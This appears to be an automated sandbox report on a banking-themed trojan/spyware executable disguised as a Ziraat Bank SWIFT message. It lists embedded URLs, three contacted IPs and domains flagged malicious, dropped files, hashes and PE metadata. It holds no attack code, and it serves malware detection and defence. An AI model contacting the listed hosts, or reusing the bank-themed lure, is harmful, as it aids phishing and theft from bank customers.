                                              http://www.galapagosdesign.com/staff/dennis.htmtr-trZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309958548.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309176604.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309323595.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309409920.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309038359.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309119313.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308591362.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309275276.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309634439.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308723291.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309847410.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309538175.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308827341.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309771643.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308893439.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comGrZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.jiyu-kobo.co.jp/jp/lZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.fonts.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297868606.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.sandoll.co.krZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://www.carterandcone.comsignZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.fonts.comcomZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297839542.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.sakkal.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://www.fontbureau.comueedlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.fontbureau.com/designersivZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312618448.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.apache.org/licenses/LICENSE-2.0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299768442.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.fontbureau.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.fontbureau.comFZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://www.google.com/images/branding/product/ico/googleg_lodp.icosystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                        		high
                                                        http://www.carterandcone.comitseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.carterandcone.comfacZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://search.yahoo.com/favicon.icohttps://search.yahoo.com/searchsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                          		high
                                                          http://www.fontbureau.comL.TTFZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.jiyu-kobo.co.jp/jp/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          https://ac.ecosia.org/autocomplete?q=q3W1-4699.10.drfalse
                                                            		high
                                                            https://search.yahoo.com?fr=crmas_sfpsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                              		high
                                                              http://www.fontbureau.com/designers/cabarga.htmlNZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.founder.com.cn/cnZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299606103.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299501081.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                http://www.fontbureau.comdPZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://www.fontbureau.com/designers/cabarga.htmlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.monotype.Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  http://www.fontbureau.com/designers%Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306012210.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://www.fontbureau.commZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.jiyu-kobo.co.jp/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.galapagosdesign.com/:Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.sakkal.comP1Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301976081.0000000006044000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301878220.0000000006043000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.zhongyicts.com.cno.Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.fontbureau.com/designers8Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305003600.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305032513.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305068305.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high

                                                                      World Map of Contacted IPs

                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs

                                                                      Public IPs

                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      103.11.189.189
                                                                      		www.oaksinstitute.netSingapore
                                                                      		58621VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSGtrue
                                                                      141.136.43.229
                                                                      		notarpucarhr.comLithuania
                                                                      		207291SENDER-ASLTtrue
                                                                      38.239.92.131
                                                                      		www.multimediapages.comUnited States
                                                                      		174COGENT-174UStrue

                                                                      Private

                                                                      IP
                                                                      192.168.2.1

                                                                      General Information

                                                                      Joe Sandbox Version:36.0.0 Rainbow Opal
                                                                      Analysis ID:755920
                                                                      Start date and time:2022-11-29 10:15:36 +01:00
                                                                      Joe Sandbox Product:CloudBasic
                                                                      Overall analysis duration:0h 9m 2s
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:light
                                                                      Sample file name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Cookbook file name:default.jbs
                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                      Number of analysed new started processes analysed:11
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:1
                                                                      Technologies:
                                                                      • HCA enabled
                                                                      • EGA enabled
                                                                      • HDC enabled
                                                                      • AMSI enabled
                                                                      Analysis Mode:default
                                                                      Analysis stop reason:Timeout
                                                                      Detection:MAL
                                                                      Classification:mal100.troj.spyw.evad.winEXE@7/2@4/4
                                                                      EGA Information:
                                                                      • Successful, ratio: 100%
                                                                      HDC Information:
                                                                      • Successful, ratio: 43.7% (good quality ratio 38.2%)
                                                                      • Quality average: 71.9%
                                                                      • Quality standard deviation: 33.2%
                                                                      HCA Information:
                                                                      • Successful, ratio: 99%
                                                                      • Number of executed functions: 0
                                                                      • Number of non-executed functions: 0
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .exe

                                                                      Warnings

                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.

                                                                      Simulations

                                                                      Behavior and APIs

                                                                      TimeTypeDescription
                                                                      10:16:34API Interceptor2x Sleep call for process: Ziraat Bankasi Swift Mesaji20221129-34221.exe modified

                                                                      Joe Sandbox View / Context

                                                                      IPs

                                                                      ⊘No context

                                                                      Domains

                                                                      ⊘No context

                                                                      ASNs

                                                                      ⊘No context

                                                                      JA3 Fingerprints

                                                                      ⊘No context

                                                                      Dropped Files

                                                                      ⊘No context

                                                                      Created / dropped Files

                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Ziraat Bankasi Swift Mesaji20221129-34221.exe.log

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:dropped
                                                                      Size (bytes):1216
                                                                      Entropy (8bit):5.355304211458859
                                                                      Encrypted:false
                                                                      SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
                                                                      MD5:FED34146BF2F2FA59DCF8702FCC8232E
                                                                      SHA1:B03BFEA175989D989850CF06FE5E7BBF56EAA00A
                                                                      SHA-256:123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
                                                                      SHA-512:1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
                                                                      Malicious:true
                                                                      Reputation:high, very likely benign file
                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                                      C:\Users\user\AppData\Local\Temp\q3W1-4699

                                                                      Download File
                                                                      Process:C:\Windows\SysWOW64\systray.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):94208
                                                                      Entropy (8bit):1.2880737026424216
                                                                      Encrypted:false
                                                                      SSDEEP:192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
                                                                      MD5:5F02C426BCF0D3E3DC81F002F9125663
                                                                      SHA1:EA50920666E30250E4BE05194FA7B3F44967BE94
                                                                      SHA-256:DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
                                                                      SHA-512:53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview:SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      Static File Info

                                                                      General

                                                                      File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Entropy (8bit):7.808753534771263
                                                                      TrID:
                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                      • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                      • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                      • Windows Screen Saver (13104/52) 0.07%
                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                      File name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      File size:736256
                                                                      MD5:6a0ff43510923c27b144bf86b5e0a867
                                                                      SHA1:880c264f12ea2175a81f7030dec9c7043093253f
                                                                      SHA256:52426e75e25f69d9d7a8121464fe16a213ab48519ae10b2e2fc028ce86794a8b
                                                                      SHA512:18f0247de11b5d3a7139f8c577560a2987fa706ed0b1eb8f08b01384d320508edbce31ceab050a82a09a97b8892680b3cab3e878bac4a1e7bfaa797ac8595c60
                                                                      SSDEEP:12288:vX1wDXZCg8FEJLIJWyBgFuPDhd55slqVvsH4B4oks60PoSpK:vFwJpVIJxBnTzsOBI0Poo
                                                                      TLSH:1CF4F1BEB1D39F52C38415B2C5D2A92003E685871576FB463B8142DAEE237E45C4BBCB
                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....]................0..2...........Q... ...`....@.. ....................................@................................

                                                                      File Icon

                                                                      Icon Hash:00828e8e8686b000

                                                                      Static PE Info

                                                                      General

                                                                      Entrypoint:0x4b51ce
                                                                      Entrypoint Section:.text
                                                                      Digitally signed:false
                                                                      Imagebase:0x400000
                                                                      Subsystem:windows gui
                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                      Time Stamp:0xE3C25DA2 [Thu Feb 1 10:59:46 2091 UTC]
                                                                      TLS Callbacks:
                                                                      CLR (.Net) Version:
                                                                      OS Version Major:4
                                                                      OS Version Minor:0
                                                                      File Version Major:4
                                                                      File Version Minor:0
                                                                      Subsystem Version Major:4
                                                                      Subsystem Version Minor:0
                                                                      Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                      Entrypoint Preview

                                                                      Instruction
                                                                      jmp dword ptr [00402000h]
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al
                                                                      add byte ptr [eax], al

                                                                      Data Directories

                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xb51800x4b.text
                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xb60000x5b8.rsrc
                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0xb80000xc.reloc
                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0xb513d0x1c.text
                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                      Sections

                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                      .text0x20000xb31d40xb3200False0.8954308051290998data7.8163399193374055IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .rsrc0xb60000x5b80x600False0.427734375data4.111112445993303IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
